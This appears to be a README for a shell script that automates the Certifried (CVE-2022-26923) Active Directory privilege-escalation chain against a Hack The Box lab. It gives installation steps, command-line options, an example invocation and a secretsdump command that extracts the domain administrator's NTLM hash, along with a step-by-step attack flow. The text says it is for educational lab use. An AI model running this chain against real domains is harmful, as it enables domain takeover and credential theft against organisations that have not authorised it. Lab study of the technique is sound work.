
Exploitation de CVE-2022-26923
Automation of the exploitation of CVE-2022-26923 (Certifried) allowing privilege escalation via abuse of Active Directory Certificate Services (AD CS) and Resource-Based Constrained Delegation (RBCD), leading to the dump of the NTLM hash of a domain administrator account.
⚠️ For educational use only / Lab / HTB
Do not use in unauthorized environment.
This script automates the following attack chain:
dNSHostNameadministratorsecretsdump.pycertipy-adbloodyADgetST.py (Impacket)secretsdump.py (Impacket)opensslpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP of the Domain Controller
-D, --domain Domain name
-u, --user Valid user
-p, --pass User password
-c, --comp-name Controlled machine name
-C, --comp-pass Machine password
-a, --ca-name Certificate Authority name
-t, --template Certificate template
-f, --pfx-file PFX file name
-H, --dc-hostname DC hostname
-A, --dc-account DC account
-i, --impersonate Target account to impersonate
--verbose Debug mode
-h, --help Help
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
At the end of execution:
administrator.ccacheadministrator accountIn case of Kerberos problem:
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39
Machine Account Creation
↓
dNSHostName spoofing
↓
Certificate Request (Machine Template)
↓
Authentication via PFX
↓
RBCD abuse (bloodyAD)
↓
S4U2Self + S4U2Proxy
↓
Kerberos Ticket extraction
↓
NTLM dump via secretsdump
This project is provided for:
The author declines all responsibility in case of unauthorized use.
MIT